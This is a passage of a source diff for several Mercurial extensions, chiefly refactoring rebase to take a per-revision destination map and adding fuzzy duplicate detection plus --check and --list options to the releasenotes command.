+    # cases since we don't have abstractions to dry-run rebase cheaply.
+    if any(p != nullrev and isancestor(rev, p) for p in newps):
+        raise error.Abort(_('source is ancestor of destination'))
+
+    # "rebasenode" updates to new p1, use the corresponding merge base.
+    if bases[0] != nullrev:
+        base = bases[0]
+    else:
         base = None
-    elif not repo[rev].p2():
-        # Case (2) detaching the node with a single parent, use this parent
-        base = repo[rev].p1().rev()
-    else:
-        # Assuming there is a p1, this is the case where there also is a p2.
-        # We are thus rebasing a merge and need to pick the right merge base.
-        #
-        # Imagine we have:
-        # - M: current rebase revision in this step
-        # - A: one parent of M
-        # - B: other parent of M
-        # - D: destination of this merge step (p1 var)
-        #
-        # Consider the case where D is a descendant of A or B and the other is
-        # 'outside'. In this case, the right merge base is the D ancestor.
-        #
-        # An informal proof, assuming A is 'outside' and B is the D ancestor:
-        #
-        # If we pick B as the base, the merge involves:
-        # - changes from B to M (actual changeset payload)
-        # - changes from B to D (induced by rebase) as D is a rebased
-        #   version of B)
-        # Which exactly represent the rebase operation.
-        #
-        # If we pick A as the base, the merge involves:
-        # - changes from A to M (actual changeset payload)
-        # - changes from A to D (with include changes between unrelated A and B
-        #   plus changes induced by rebase)
-        # Which does not represent anything sensible and creates a lot of
-        # conflicts. A is thus not the right choice - B is.
-        #
-        # Note: The base found in this 'proof' is only correct in the specified
-        # case. This base does not make sense if is not D a descendant of A or B
-        # or if the other is not parent 'outside' (especially not if the other
-        # parent has been rebased). The current implementation does not
-        # make it feasible to consider different cases separately. In these
-        # other cases we currently just leave it to the user to correctly
-        # resolve an impossible merge using a wrong ancestor.
-        #
-        # xx, p1 could be -4, and both parents could probably be -4...
-        for p in repo[rev].parents():
-            if state.get(p.rev()) == p1:
-                base = p.rev()
-                break
-        else: # fallback when base not found
-            base = None
+
+    # Check if the merge will contain unwanted changes. That may happen if
+    # there are multiple special (non-changelog ancestor) merge bases, which
+    # cannot be handled well by the 3-way merge algorithm. For example:
+    #
+    #     F
+    #    /|
+    #   D E  # "rebase -r D+E+F -d Z", when rebasing F, if "D" was chosen
+    #   | |  # as merge base, the difference between D and F will include
+    #   B C  # C, so the rebased F will contain C surprisingly. If "E" was
+    #   |/   #  chosen, the rebased F will contain B.
+    #   A Z
+    #
+    # But our merge base candidates (D and E in above case) could still be
+    # better than the default (ancestor(F, Z) == null). Therefore still
+    # pick one (so choose p1 above).
+    if sum(1 for b in bases if b != nullrev) > 1:
+        unwanted = [None, None] # unwanted[i]: unwanted revs if choose bases[i]
+        for i, base in enumerate(bases):
+            if base == nullrev:
+                continue
+            # Revisions in the side (not chosen as merge base) branch that
+            # might contain "surprising" contents
+            siderevs = list(repo.revs('((%ld-%d) %% (%d+%d))',
+                                      bases, base, base, dest))
 
-            # Raise because this function is called wrong (see issue 4106)
-            raise AssertionError('no base found to rebase on '
-                                 '(defineparents called wrong)')
-    return rp1 or p1, p2, base
+            # If those revisions are covered by rebaseset, the result is good.
+            # A merge in rebaseset would be considered to cover its ancestors.
+            if siderevs:
+                rebaseset = [r for r, d in state.items()
+                             if d > 0 and r not in obsskipped]
+                merges = [r for r in rebaseset
+                          if cl.parentrevs(r)[1] != nullrev]
+                unwanted[i] = list(repo.revs('%ld - (::%ld) - %ld',
+                                             siderevs, merges, rebaseset))
+
+        # Choose a merge base that has a minimal number of unwanted revs.
+        l, i = min((len(revs), i)
+                   for i, revs in enumerate(unwanted) if revs is not None)
+        base = bases[i]
+
+        # newps[0] should match merge base if possible. Currently, if newps[i]
+        # is nullrev, the only case is newps[i] and newps[j] (j < i), one is
+        # the other's ancestor. In that case, it's fine to not swap newps here.
+        # (see CASE-1 and CASE-2 above)
+        if i != 0 and newps[i] != nullrev:
+            newps[0], newps[i] = newps[i], newps[0]
+
+        # The merge will include unwanted revisions. Abort now. Revisit this if
+        # we have a more advanced merge algorithm that handles multiple bases.
+        if l > 0:
+            unwanteddesc = _(' or ').join(
+                (', '.join('%d:%s' % (r, repo[r]) for r in revs)
+                 for revs in unwanted if revs is not None))
+            raise error.Abort(
+                _('rebasing %d:%s will include unwanted changes from %s')
+                % (rev, repo[rev], unwanteddesc))
+
+    repo.ui.debug(" future parents are %d and %d\n" % tuple(newps))
+
+    return newps[0], newps[1], base
 
 def isagitpatch(repo, patchname):
     'Return true if the given patch is in git format'
@@ -1162,7 +1352,6 @@
 
 def clearstatus(repo):
     'Remove the status files'
-    _clearrebasesetvisibiliy(repo)
     # Make sure the active transaction won't write the state file
     tr = repo.currenttransaction()
     if tr:
@@ -1186,7 +1375,7 @@
 
     return False
 
-def abort(repo, originalwd, dest, state, activebookmark=None):
+def abort(repo, originalwd, destmap, state, activebookmark=None):
     '''Restore the repository to its original state.  Additional args:
 
     activebookmark: the name of the bookmark that should be active after the
@@ -1196,7 +1385,7 @@
         # If the first commits in the rebased set get skipped during the rebase,
         # their values within the state mapping will be the dest rev id. The
         # dstates list must must not contain the dest rev (issue4896)
-        dstates = [s for s in state.values() if s >= 0 and s != dest]
+        dstates = [s for r, s in state.items() if s >= 0 and s != destmap[r]]
         immutable = [d for d in dstates if not repo[d].mutable()]
         cleanup = True
         if immutable:
@@ -1215,13 +1404,14 @@
 
         if cleanup:
             shouldupdate = False
-            rebased = filter(lambda x: x >= 0 and x != dest, state.values())
+            rebased = [s for r, s in state.items()
+                       if s >= 0 and s != destmap[r]]
             if rebased:
                 strippoints = [
                         c.node() for c in repo.set('roots(%ld)', rebased)]
 
             updateifonnodes = set(rebased)
-            updateifonnodes.add(dest)
+            updateifonnodes.update(destmap.values())
             updateifonnodes.add(originalwd)
             shouldupdate = repo['.'].rev() in updateifonnodes
 
@@ -1243,31 +1433,65 @@
         repo.ui.warn(_('rebase aborted\n'))
     return 0
 
-def buildstate(repo, dest, rebaseset, collapse, obsoletenotrebased):
+def sortsource(destmap):
+    """yield source revisions in an order that we only rebase things once
+
+    If source and destination overlaps, we should filter out revisions
+    depending on other revisions which hasn't been rebased yet.
+
+    Yield a sorted list of revisions each time.
+
+    For example, when rebasing A to B, B to C. This function yields [B], then
+    [A], indicating B needs to be rebased first.
+
+    Raise if there is a cycle so the rebase is impossible.
+    """
+    srcset = set(destmap)
+    while srcset:
+        srclist = sorted(srcset)
+        result = []
+        for r in srclist:
+            if destmap[r] not in srcset:
+                result.append(r)
+        if not result:
+            raise error.Abort(_('source and destination form a cycle'))
+        srcset -= set(result)
+        yield result
+
+def buildstate(repo, destmap, collapse):
     '''Define which revisions are going to be rebased and where
 
     repo: repo
-    dest: context
-    rebaseset: set of rev
+    destmap: {srcrev: destrev}
     '''
+    rebaseset = destmap.keys()
     originalwd = repo['.'].rev()
-    _setrebasesetvisibility(repo, set(rebaseset) | {originalwd})
 
     # This check isn't strictly necessary, since mq detects commits over an
     # applied patch. But it prevents messing up the working directory when
     # a partially completed rebase is blocked by mq.
-    if 'qtip' in repo.tags() and (dest.node() in
-                            [s.node for s in repo.mq.applied]):
-        raise error.Abort(_('cannot rebase onto an applied mq patch'))
+    if 'qtip' in repo.tags():
+        mqapplied = set(repo[s.node].rev() for s in repo.mq.applied)
+        if set(destmap.values()) & mqapplied:
+            raise error.Abort(_('cannot rebase onto an applied mq patch'))
 
-    roots = list(repo.set('roots(%ld)', rebaseset))
+    # Get "cycle" error early by exhausting the generator.
+    sortedsrc = list(sortsource(destmap)) # a list of sorted revs
+    if not sortedsrc:
+        raise error.Abort(_('no matching revisions'))
+
+    # Only check the first batch of revisions to rebase not depending on other
+    # rebaseset. This means "source is ancestor of destination" for the second
+    # (and following) batches of revisions are not checked here. We rely on
+    # "defineparents" to do that check.
+    roots = list(repo.set('roots(%ld)', sortedsrc[0]))
     if not roots:
         raise error.Abort(_('no matching revisions'))
     roots.sort()
     state = dict.fromkeys(rebaseset, revtodo)
-    detachset = set()
-    emptyrebase = True
+    emptyrebase = (len(sortedsrc) == 1)
     for root in roots:
+        dest = repo[destmap[root.rev()]]
         commonbase = root.ancestor(dest)
         if commonbase == root:
             raise error.Abort(_('source is ancestor of destination'))
@@ -1287,47 +1511,6 @@
 
         emptyrebase = False
         repo.ui.debug('rebase onto %s starting from %s\n' % (dest, root))
-        # Rebase tries to turn <dest> into a parent of <root> while
-        # preserving the number of parents of rebased changesets:
-        #
-        # - A changeset with a single parent will always be rebased as a
-        #   changeset with a single parent.
-        #
-        # - A merge will be rebased as merge unless its parents are both
-        #   ancestors of <dest> or are themselves in the rebased set and
-        #   pruned while rebased.
-        #
-        # If one parent of <root> is an ancestor of <dest>, the rebased
-        # version of this parent will be <dest>. This is always true with
-        # --base option.
-        #
-        # Otherwise, we need to *replace* the original parents with
-        # <dest>. This "detaches" the rebased set from its former location
-        # and rebases it onto <dest>. Changes introduced by ancestors of
-        # <root> not common with <dest> (the detachset, marked as
-        # nullmerge) are "removed" from the rebased changesets.
-        #
-        # - If <root> has a single parent, set it to <dest>.
-        #
-        # - If <root> is a merge, we cannot decide which parent to
-        #   replace, the rebase operation is not clearly defined.
-        #
-        # The table below sums up this behavior:
-        #
-        # +------------------+----------------------+-------------------------+
-        # |                  |     one parent       |  merge                  |
-        # +------------------+----------------------+-------------------------+
-        # | parent in        | new parent is <dest> | parents in ::<dest> are |
-        # | ::<dest>         |                      | remapped to <dest>      |
-        # +------------------+----------------------+-------------------------+
-        # | unrelated source | new parent is <dest> | ambiguous, abort        |
-        # +------------------+----------------------+-------------------------+
-        #
-        # The actual abort is handled by `defineparents`
-        if len(root.parents()) <= 1:
-            # ancestors of <root> not ancestors of <dest>
-            detachset.update(repo.changelog.findmissingrevs([commonbase.rev()],
-                                                            [root.rev()]))
     if emptyrebase:
         return None
     for rev in sorted(state):
@@ -1335,26 +1518,10 @@
         # if all parents of this revision are done, then so is this revision
         if parents and all((state.get(p) == p for p in parents)):
             state[rev] = rev
-    for r in detachset:
-        if r not in state:
-            state[r] = nullmerge
-    if len(roots) > 1:
-        # If we have multiple roots, we may have "hole" in the rebase set.
-        # Rebase roots that descend from those "hole" should not be detached as
-        # other root are. We use the special `revignored` to inform rebase that
-        # the revision should be ignored but that `defineparents` should search
-        # a rebase destination that make sense regarding rebased topology.
-        rebasedomain = set(repo.revs('%ld::%ld', rebaseset, rebaseset))
-        for ignored in set(rebasedomain) - set(rebaseset):
-            state[ignored] = revignored
-    for r in obsoletenotrebased:
-        if obsoletenotrebased[r] is None:
-            state[r] = revpruned
-        else:
-            state[r] = revprecursor
-    return originalwd, dest.rev(), state
+    return originalwd, destmap, state
 
-def clearrebased(ui, repo, dest, state, skipped, collapsedas=None, keepf=False):
+def clearrebased(ui, repo, destmap, state, skipped, collapsedas=None,
+                 keepf=False, fm=None):
     """dispose of rebased revision at the end of the rebase
 
     If `collapsedas` is not None, the rebase was a collapse whose result if the
@@ -1378,6 +1545,10 @@
                     succs = (newnode,)
                 replacements[oldnode] = succs
     scmutil.cleanupnodes(repo, replacements, 'rebase', moves)
+    if fm:
+        nodechanges = {hex(oldn): [hex(n) for n in newn]
+                       for oldn, newn in replacements.iteritems()}
+        fm.data(nodechanges=nodechanges)
 
 def pullrebase(orig, ui, repo, *args, **opts):
     'Call rebase after pull if the latter has been invoked with --rebase'
@@ -1439,66 +1610,36 @@
 
     return ret
 
-def _setrebasesetvisibility(repo, revs):
-    """store the currently rebased set on the repo object
-
-    This is used by another function to prevent rebased revision to because
-    hidden (see issue4504)"""
-    repo = repo.unfiltered()
-    repo._rebaseset = revs
-    # invalidate cache if visibility changes
-    hiddens = repo.filteredrevcache.get('visible', set())
-    if revs & hiddens:
-        repo.invalidatevolatilesets()
-
-def _clearrebasesetvisibiliy(repo):
-    """remove rebaseset data from the repo"""
-    repo = repo.unfiltered()
-    if '_rebaseset' in vars(repo):
-        del repo._rebaseset
-
-def _rebasedvisible(orig, repo):
-    """ensure rebased revs stay visible (see issue4504)"""
-    blockers = orig(repo)
-    blockers.update(getattr(repo, '_rebaseset', ()))
-    return blockers
-
 def _filterobsoleterevs(repo, revs):
     """returns a set of the obsolete revisions in revs"""
     return set(r for r in revs if repo[r].obsolete())
 
-def _computeobsoletenotrebased(repo, rebaseobsrevs, dest):
+def _computeobsoletenotrebased(repo, rebaseobsrevs, destmap):
     """return a mapping obsolete => successor for all obsolete nodes to be
     rebased that have a successors in the destination
 
     obsolete => None entries in the mapping indicate nodes with no successor"""
     obsoletenotrebased = {}
 
-    # Build a mapping successor => obsolete nodes for the obsolete
-    # nodes to be rebased
-    allsuccessors = {}
+    assert repo.filtername is None
     cl = repo.changelog
-    for r in rebaseobsrevs:
-        node = cl.node(r)
-        for s in obsutil.allsuccessors(repo.obsstore, [node]):
-            try:
-                allsuccessors[cl.rev(s)] = cl.rev(node)
-            except LookupError:
-                pass
-
-    if allsuccessors:
-        # Look for successors of obsolete nodes to be rebased among
-        # the ancestors of dest
-        ancs = cl.ancestors([dest],
-                            stoprev=min(allsuccessors),
-                            inclusive=True)
-        for s in allsuccessors:
-            if s in ancs:
-                obsoletenotrebased[allsuccessors[s]] = s
-            elif (s == allsuccessors[s] and
-                  allsuccessors.values().count(s) == 1):
-                # plain prune
-                obsoletenotrebased[s] = None
+    nodemap = cl.nodemap
+    for srcrev in rebaseobsrevs:
+        srcnode = cl.node(srcrev)
+        destnode = cl.node(destmap[srcrev])
+        # XXX: more advanced APIs are required to handle split correctly
+        successors = list(obsutil.allsuccessors(repo.obsstore, [srcnode]))
+        if len(successors) == 1:
+            # obsutil.allsuccessors includes node itself. When the list only
+            # contains one element, it means there are no successors.
+            obsoletenotrebased[srcrev] = None
+        else:
+            for succnode in successors:
+                if succnode == srcnode or succnode not in nodemap:
+                    continue
+                if cl.isancestor(succnode, destnode):
+                    obsoletenotrebased[srcrev] = nodemap[succnode]
+                    break
 
     return obsoletenotrebased
 
@@ -1534,5 +1675,3 @@
          _("use 'hg rebase --continue' or 'hg rebase --abort'")])
     cmdutil.afterresolvedstates.append(
         ['rebasestate', _('hg rebase --continue')])
-    # ensure rebased rev are not hidden
-    extensions.wrapfunction(repoview, 'pinnedrevs', _rebasedvisible)
diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -13,6 +13,7 @@
 
 from __future__ import absolute_import
 
+import difflib
 import errno
 import re
 import sys
@@ -23,6 +24,7 @@
     config,
     error,
     minirst,
+    node,
     registrar,
     scmutil,
     util,
@@ -31,6 +33,12 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
+try:
+    import fuzzywuzzy.fuzz as fuzz
+    fuzz.token_set_ratio
+except ImportError:
+    fuzz = None
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
@@ -46,6 +54,7 @@
 ]
 
 RE_DIRECTIVE = re.compile('^\.\. ([a-zA-Z0-9_]+)::\s*([^$]+)?$')
+RE_ISSUE = r'\bissue ?[0-9]{4,6}(?![0-9])\b'
 
 BULLET_SECTION = _('Other Changes')
 
@@ -91,7 +100,13 @@
 
         This is used to combine multiple sources of release notes together.
         """
+        if not fuzz:
+            ui.warn(_("module 'fuzzywuzzy' not found, merging of similar "
+                      "releasenotes is disabled\n"))
+
         for section in other:
+            existingnotes = converttitled(self.titledforsection(section)) + \
+                convertnontitled(self.nontitledforsection(section))
             for title, paragraphs in other.titledforsection(section):
                 if self.hastitledinsection(section, title):
                     # TODO prompt for resolution if different and running in
@@ -100,16 +115,32 @@
                              (title, section))
                     continue
 
-                # TODO perform similarity comparison and try to match against
-                # existing.
+                incoming_str = converttitled([(title, paragraphs)])[0]
+                if section == 'fix':
+                    issue = getissuenum(incoming_str)
+                    if issue:
+                        if findissue(ui, existingnotes, issue):
+                            continue
+
+                if similar(ui, existingnotes, incoming_str):
+                    continue
+
                 self.addtitleditem(section, title, paragraphs)
 
             for paragraphs in other.nontitledforsection(section):
                 if paragraphs in self.nontitledforsection(section):
                     continue
 
-                # TODO perform similarily comparison and try to match against
-                # existing.
+                incoming_str = convertnontitled([paragraphs])[0]
+                if section == 'fix':
+                    issue = getissuenum(incoming_str)
+                    if issue:
+                        if findissue(ui, existingnotes, issue):
+                            continue
+
+                if similar(ui, existingnotes, incoming_str):
+                    continue
+
                 self.addnontitleditem(section, paragraphs)
 
 class releasenotessections(object):
@@ -136,6 +167,80 @@
 
         return None
 
+def converttitled(titledparagraphs):
+    """
+    Convert titled paragraphs to strings
+    """
+    string_list = []
+    for title, paragraphs in titledparagraphs:
+        lines = []
+        for para in paragraphs:
+            lines.extend(para)
+        string_list.append(' '.join(lines))
+    return string_list
+
+def convertnontitled(nontitledparagraphs):
+    """
+    Convert non-titled bullets to strings
+    """
+    string_list = []
+    for paragraphs in nontitledparagraphs:
+        lines = []
+        for para in paragraphs:
+            lines.extend(para)
+        string_list.append(' '.join(lines))
+    return string_list
+
+def getissuenum(incoming_str):
+    """
+    Returns issue number from the incoming string if it exists
+    """
+    issue = re.search(RE_ISSUE, incoming_str, re.IGNORECASE)
+    if issue:
+        issue = issue.group()
+    return issue
+
+def findissue(ui, existing, issue):
+    """
+    Returns true if issue number already exists in notes.
+    """
+    if any(issue in s for s in existing):
+        ui.write(_('"%s" already exists in notes; ignoring\n') % issue)
+        return True
+    else:
+        return False
+
+def similar(ui, existing, incoming_str):
+    """
+    Returns true if similar note found in existing notes.
+    """
+    if len(incoming_str.split()) > 10:
+        merge = similaritycheck(incoming_str, existing)
+        if not merge:
+            ui.write(_('"%s" already exists in notes file; ignoring\n')
+                     % incoming_str)
+            return True
+        else:
+            return False
+    else:
+        return False
+
+def similaritycheck(incoming_str, existingnotes):
+    """
+    Returns false when note fragment can be merged to existing notes.
+    """
+    # fuzzywuzzy not present
+    if not fuzz:
+        return True
+
+    merge = True
+    for bullet in existingnotes:
+        score = fuzz.token_set_ratio(incoming_str, bullet)
+        if score > 75:
+            merge = False
+            break
+    return merge
+
 def getcustomadmonitions(repo):
     ctx = repo['.']
     p = config.config()
@@ -152,6 +257,42 @@
         read('.hgreleasenotes')
     return p['sections']
 
+def checkadmonitions(ui, repo, directives, revs):
+    """
+    Checks the commit messages for admonitions and their validity.
+
+    .. abcd::
+
+       First paragraph under this admonition
+
+    For this commit message, using `hg releasenotes -r . --check`
+    returns: Invalid admonition 'abcd' present in changeset 3ea92981e103
+
+    As admonition 'abcd' is neither present in default nor custom admonitions
+    """
+    for rev in revs:
+        ctx = repo[rev]
+        admonition = re.search(RE_DIRECTIVE, ctx.description())
+        if admonition:
+            if admonition.group(1) in directives:
+                continue
+            else:
+                ui.write(_("Invalid admonition '%s' present in changeset %s"
+                           "\n") % (admonition.group(1), ctx.hex()[:12]))
+                sim = lambda x: difflib.SequenceMatcher(None,
+                    admonition.group(1), x).ratio()
+
+                similar = [s for s in directives if sim(s) > 0.6]
+                if len(similar) == 1:
+                    ui.write(_("(did you mean %s?)\n") % similar[0])
+                elif similar:
+                    ss = ", ".join(sorted(similar))
+                    ui.write(_("(did you mean one of %s?)\n") % ss)
+
+def _getadmonitionlist(ui, sections):
+    for section in sections:
+        ui.write("%s: %s\n" % (section[0], section[1]))
+
 def parsenotesfromrevisions(repo, directives, revs):
     notes = parsedreleasenotes()
 
@@ -193,9 +334,8 @@
 
             # TODO consider using title as paragraph for more concise notes.
             if not paragraphs:
-                raise error.Abort(_('could not find content for release note '
-                                    '%s') % directive)
-
+                repo.ui.warn(_("error parsing releasenotes for revision: "
+                               "'%s'\n") % node.hex(ctx.node()))
             if title:
                 notes.addtitleditem(directive, title, paragraphs)
             else:
@@ -336,15 +476,19 @@
 
             lines.append('')
 
-    if lines[-1]:
+    if lines and lines[-1]:
         lines.append('')
 
     return '\n'.join(lines)
 
 @command('releasenotes',
-    [('r', 'rev', '', _('revisions to process for release notes'), _('REV'))],
-    _('[-r REV] FILE'))
-def releasenotes(ui, repo, file_, rev=None):
+    [('r', 'rev', '', _('revisions to process for release notes'), _('REV')),
+    ('c', 'check', False, _('checks for validity of admonitions (if any)'),
+        _('REV')),
+    ('l', 'list', False, _('list the available admonitions with their title'),
+        None)],
+    _('hg releasenotes [-r REV] [-c] FILE'))
+def releasenotes(ui, repo, file_=None, **opts):
     """parse release notes from commit messages into an output file
 
     Given an output file and set of revisions, this command will parse commit
@@ -419,12 +563,36 @@
     this command and changes should not be lost when running this command on
     that file. A particular use case for this is to tweak the wording of a
     release note after it has been added to the release notes file.
+
+    The -c/--check option checks the commit message for invalid admonitions.
+
+    The -l/--list option, presents the user with a list of existing available
+    admonitions along with their title. This also includes the custom
+    admonitions (if any).
     """
     sections = releasenotessections(ui, repo)
 
+    listflag = opts.get('list')
+
+    if listflag and opts.get('rev'):
+        raise error.Abort(_('cannot use both \'--list\' and \'--rev\''))
+    if listflag and opts.get('check'):
+        raise error.Abort(_('cannot use both \'--list\' and \'--check\''))
+
+    if listflag:
+        return _getadmonitionlist(ui, sections)
+
+    rev = opts.get('rev')
     revs = scmutil.revrange(repo, [rev or 'not public()'])
+    if opts.get('check'):
+        return checkadmonitions(ui, repo, sections.names(), revs)
+
     incoming = parsenotesfromrevisions(repo, sections.names(), revs)
 
+    if file_ is None:
+        ui.pager('releasenotes')
+        return ui.write(serializenotes(sections, incoming))
+
     try:
         with open(file_, 'rb') as fh:
             notes = parsereleasenotesfile(sections, fh.read())
diff --git a/hgext/schemes.py b/hgext/schemes.py
--- a/hgext/schemes.py
+++ b/hgext/schemes.py
@@ -116,7 +116,7 @@
     schemes.update(dict(ui.configitems('schemes')))
     t = templater.engine(lambda x: x)
     for scheme, url in schemes.items():
-        if (pycompat.osname == 'nt' and len(scheme) == 1 and scheme.isalpha()
+        if (pycompat.iswindows and len(scheme) == 1 and scheme.isalpha()
             and os.path.exists('%s:\\' % scheme)):
             raise error.Abort(_('custom scheme %s:// conflicts with drive '
                                'letter %s:\\\n') % (scheme, scheme.upper()))
diff --git a/hgext/share.py b/hgext/share.py
--- a/hgext/share.py
+++ b/hgext/share.py
@@ -63,6 +63,16 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('share', 'pool',
+    default=None,
+)
+configitem('share', 'poolnaming',
+    default='identity',
+)
+
 @command('share',
     [('U', 'noupdate', None, _('do not create a working directory')),
      ('B', 'bookmarks', None, _('also share bookmarks')),
@@ -90,8 +100,9 @@
        the broken clone to reset it to a changeset that still exists.
     """
 
-    return hg.share(ui, source, dest=dest, update=not noupdate,
-                    bookmarks=bookmarks, relative=relative)
+    hg.share(ui, source, dest=dest, update=not noupdate,
+             bookmarks=bookmarks, relative=relative)
+    return 0
 
 @command('unshare', [], '')
 def unshare(ui, repo):
@@ -103,38 +114,17 @@
     if not repo.shared():
         raise error.Abort(_("this is not a shared repo"))
 
-    destlock = lock = None
-    lock = repo.lock()
-    try:
-        # we use locks here because if we race with commit, we
-        # can end up with extra data in the cloned revlogs that's
-        # not pointed to by changesets, thus causing verify to
-        # fail
-
-        destlock = hg.copystore(ui, repo, repo.path)
-
-        sharefile = repo.vfs.join('sharedpath')
-        util.rename(sharefile, sharefile + '.old')
-
-        repo.requirements.discard('shared')
-        repo.requirements.discard('relshared')
-        repo._writerequirements()
-    finally:
-        destlock and destlock.release()
-        lock and lock.release()
-
-    # update store, spath, svfs and sjoin of repo
-    repo.unfiltered().__init__(repo.baseui, repo.root)
+    hg.unshare(ui, repo)
 
 # Wrap clone command to pass auto share options.
 def clone(orig, ui, source, *args, **opts):
-    pool = ui.config('share', 'pool', None)
+    pool = ui.config('share', 'pool')
     if pool:
         pool = util.expandpath(pool)
 
     opts[r'shareopts'] = {
         'pool': pool,
-        'mode': ui.config('share', 'poolnaming', 'identity'),
+        'mode': ui.config('share', 'poolnaming'),
     }
 
     return orig(ui, source, *args, **opts)
diff --git a/hgext/shelve.py b/hgext/shelve.py
--- a/hgext/shelve.py
+++ b/hgext/shelve.py
@@ -33,6 +33,7 @@
     bundlerepo,
     changegroup,
     cmdutil,
+    discovery,
     error,
     exchange,
     hg,
@@ -62,6 +63,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('shelve', 'maxbackups',
+    default=10,
+)
+
 backupdir = 'shelve-backup'
 shelvedir = 'shelved'
 shelvefileextensions = ['hg', 'patch', 'oshelve']
@@ -145,8 +153,11 @@
             btype = 'HG20'
             compression = 'BZ'
 
-        cg = changegroup.changegroupsubset(self.repo, bases, [node], 'shelve',
-                                           version=cgversion)
+        outgoing = discovery.outgoing(self.repo, missingroots=bases,
+                                      missingheads=[node])
+        cg = changegroup.makechangegroup(self.repo, outgoing, cgversion,
+                                         'shelve')
+
         bundle2.writebundle(self.ui, cg, self.fname, btype, self.vfs,
                                 compression=compression)
 
@@ -267,7 +278,7 @@
 
 def cleanupoldbackups(repo):
     vfs = vfsmod.vfs(repo.vfs.join(backupdir))
-    maxbackups = repo.ui.configint('shelve', 'maxbackups', 10)
+    maxbackups = repo.ui.configint('shelve', 'maxbackups')
     hgfiles = [f for f in vfs.listdir()
                if f.endswith('.' + patchextension)]
     hgfiles = sorted([(vfs.stat(f).st_mtime, f) for f in hgfiles])
diff --git a/hgext/show.py b/hgext/show.py
--- a/hgext/show.py
+++ b/hgext/show.py
@@ -51,6 +51,7 @@
 
 cmdtable = {}
 command = registrar.command(cmdtable)
+
 revsetpredicate = registrar.revsetpredicate()
 
 class showcmdfunc(registrar._funcregistrarbase):
@@ -161,9 +162,10 @@
             ui.write(_('(no bookmarks set)\n'))
         return
 
+    revs = [repo[node].rev() for node in marks.values()]
     active = repo._activebookmark
     longestname = max(len(b) for b in marks)
-    # TODO consider exposing longest shortest(node).
+    nodelen = longestshortest(repo, revs)
 
     for bm, node in sorted(marks.items()):
         fm.startitem()
@@ -171,7 +173,8 @@
         fm.write('bookmark', '%s', bm)
         fm.write('node', fm.hexfunc(node), fm.hexfunc(node))
         fm.data(active=bm == active,
-                longestbookmarklen=longestname)
+                longestbookmarklen=longestname,
+                nodelen=nodelen)
 
 @showview('stack', csettopic='stack')
 def showstack(ui, repo, displayer):
@@ -235,6 +238,9 @@
     else:
         newheads = set()
 
+    allrevs = set(stackrevs) | newheads | set([baserev])
+    nodelen = longestshortest(repo, allrevs)
+
     try:
         cmdutil.findcmd('rebase', commands.table)
         haverebase = True
@@ -246,7 +252,7 @@
     # our simplicity and the customizations required.
     # TODO use proper graph symbols from graphmod
 
-    shortesttmpl = formatter.maketemplater(ui, '{shortest(node, 5)}')
+    shortesttmpl = formatter.maketemplater(ui, '{shortest(node, %d)}' % nodelen)
     def shortest(ctx):
         return shortesttmpl.render({'ctx': ctx, 'node': ctx.hex()})
 
@@ -277,7 +283,7 @@
                 ui.write('  ')
 
             ui.write(('o  '))
-            displayer.show(ctx)
+            displayer.show(ctx, nodelen=nodelen)
             displayer.flush(ctx)
             ui.write('\n')
 
@@ -317,7 +323,7 @@
             ui.write('  ')
 
         ui.write(symbol, '  ')
-        displayer.show(ctx)
+        displayer.show(ctx, nodelen=nodelen)
         displayer.flush(ctx)
         ui.write('\n')
 
@@ -334,7 +340,7 @@
         ui.write(_('(stack base)'), '\n', label='stack.label')
         ui.write(('o  '))
 
-        displayer.show(basectx)
+        displayer.show(basectx, nodelen=nodelen)
         displayer.flush(basectx)
         ui.write('\n')
 
@@ -393,11 +399,13 @@
     """changesets that aren't finished"""
     # TODO support date-based limiting when calling revset.
     revs = repo.revs('sort(_underway(), topo)')
+    nodelen = longestshortest(repo, revs)
 
     revdag = graphmod.dagwalker(repo, revs)
 
     ui.setconfig('experimental', 'graphshorten', True)
-    cmdutil.displaygraph(ui, repo, revdag, displayer, graphmod.asciiedges)
+    cmdutil.displaygraph(ui, repo, revdag, displayer, graphmod.asciiedges,
+                         props={'nodelen': nodelen})
 
 def extsetup(ui):
     # Alias `hg <prefix><view>` to `hg show <view>`.
@@ -418,6 +426,27 @@
 
             ui.setconfig('alias', name, 'show %s' % view, source='show')
 
+def longestshortest(repo, revs, minlen=4):
+    """Return the length of the longest shortest node to identify revisions.
+
+    The result of this function can be used with the ``shortest()`` template
+    function to ensure that a value is unique and unambiguous for a given
+    set of nodes.
+
+    The number of revisions in the repo is taken into account to prevent
+    a numeric node prefix from conflicting with an integer revision number.
+    If we fail to do this, a value of e.g. ``10023`` could mean either
+    revision 10023 or node ``10023abc...``.
+    """
+    tmpl = formatter.maketemplater(repo.ui, '{shortest(node, %d)}' % minlen)
+    lens = [minlen]
+    for rev in revs:
+        ctx = repo[rev]
+        shortest = tmpl.render({'ctx': ctx, 'node': ctx.hex()})
+        lens.append(len(shortest))
+
+    return max(lens)
+
 # Adjust the docstring of the show command so it shows all registered views.
 # This is a bit hacky because it runs at the end of module load. When moved
 # into core or when another extension wants to provide a view, we'll need
diff --git a/hgext/sparse.py b/hgext/sparse.py
--- a/hgext/sparse.py
+++ b/hgext/sparse.py
@@ -155,7 +155,8 @@
     if include or exclude or enableprofile:
         def clonesparse(orig, self, node, overwrite, *args, **kwargs):
             sparse.updateconfig(self.unfiltered(), pat, {}, include=include,
-                                exclude=exclude, enableprofile=enableprofile)
+                                exclude=exclude, enableprofile=enableprofile,
+                                usereporootpaths=True)
             return orig(self, node, overwrite, *args, **kwargs)
         extensions.wrapfunction(hg, 'updaterepo', clonesparse)
     return orig(ui, repo, *args, **opts)
diff --git a/hgext/strip.py b/hgext/strip.py
--- a/hgext/strip.py
+++ b/hgext/strip.py
@@ -58,16 +58,30 @@
             raise error.Abort(_("local changed subrepos found" + excsuffix))
     return s
 
+def _findupdatetarget(repo, nodes):
+    unode, p2 = repo.changelog.parents(nodes[0])
+    currentbranch = repo[None].branch()
+
